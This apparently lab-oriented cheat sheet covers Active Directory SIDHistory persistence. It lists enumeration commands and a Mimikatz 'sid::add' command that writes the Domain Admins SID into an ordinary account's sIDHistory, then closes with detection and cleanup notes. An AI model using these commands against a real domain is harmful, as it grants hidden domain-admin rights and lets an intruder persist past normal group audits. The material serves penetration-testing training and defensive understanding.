SIDHistory persistence places an old or privileged SID into another account's sIDHistory attribute. Access checks can honor that historical SID, so the account may receive privileges that do not appear in normal group membership.
Enumerate SIDHistory
ldapsearch -LLL -x -H ldap://10.10.10.200 -D "ootw.local\\student" -w 'student' -b "DC=ootw,DC=local" "(sIDHistory=*)" name sAMAccountName objectSid sIDHistory memberOf distinguishedName
PowerShell enumeration
Get-ADObject -LDAPFilter "(sIDHistory=*)" -Properties sIDHistory,objectSid,sAMAccountName,memberOf |
Select-Object Name,ObjectClass,sAMAccountName,ObjectSid,SIDHistory,MemberOf
Get privileged SID
Get-ADGroup "Domain Admins" | Select-Object Name,SID
Get-ADUser student | Select-Object SamAccountName,SID
Add SIDHistory with Mimikatz on a DC
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:student /new:S-1-5-21-1111111111-2222222222-3333333333-512" "exit"
Validate
Get-ADUser student -Properties sIDHistory,memberOf | Select-Object SamAccountName,SIDHistory,MemberOf
whoami /groups
Notes
- SIDHistory is legitimate during migrations, but suspicious outside migration windows.
- Normal group membership may look clean while access is still granted through historical SIDs.
- Adding SIDHistory directly is high-privilege and usually requires DC-level control.
- Cleanup must remove the unauthorized SIDHistory value and investigate how it was written.